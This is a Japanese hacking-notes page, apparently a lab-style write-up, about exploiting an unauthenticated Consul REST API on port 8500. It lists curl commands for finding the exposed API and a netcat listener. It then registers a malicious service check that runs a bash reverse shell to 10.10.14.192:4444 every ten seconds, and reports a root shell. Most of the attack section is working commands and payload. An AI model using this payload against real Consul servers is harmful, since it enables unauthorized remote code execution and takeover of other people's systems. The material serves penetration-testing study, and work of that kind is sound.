> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/consul-8500.md).

# Consul - 8500

ConsulのREST API露出と悪意あるサービスチェック登録によるリバースシェル実行。

### ポート8500（Consul）の発見

ポート **8500** ConsulのWebインターフェースを公開しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-395e9c926077368a7753ba224f4eebd69e288f53%2Fimage%20(2973).png?alt=media" alt=""><figcaption></figcaption></figure>

照会後 `127.0.0.1:8500/ui/`、Consulのバージョン **1.19.2** が見つかります。

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d040b4c95cabc85ca3c2e2b4ffd002f55cd6994a%2Fimage%20(2974).png?alt=media" alt=""><figcaption></figcaption></figure>

#### REST APIへのアクセス確認

ConsulのREST APIに認証なしでアクセスできるか確認します:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

応答により、APIが公開されていることが確認できます。

### 悪意のあるチェックによる悪用

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

bashのリバースシェルを実行する悪意のあるチェックを持つサービスを登録します:

```bash
nc -lvnp 4444
```

#### 悪意のあるチェックを持つサービスの登録

ConsulはHTTPリクエストによる動的なサービス登録を許可しています。この挙動を悪用して、bashコマンドを実行するチェックを作成します。

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

ペイロードの動作:

* `Check.Args[]`：bashコマンドが含まれており、 **リバースシェル**.
* `Interval`：10秒ごとに自動実行されるように設定します。

このペイロードを実行すると、rootシェルが取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d77caa5c205f91a5a3deb02118b9f7cef366ca3%2F%7BECA0A6E5-FC3C-4FE7-BFB8-AF9E5F0EEC6F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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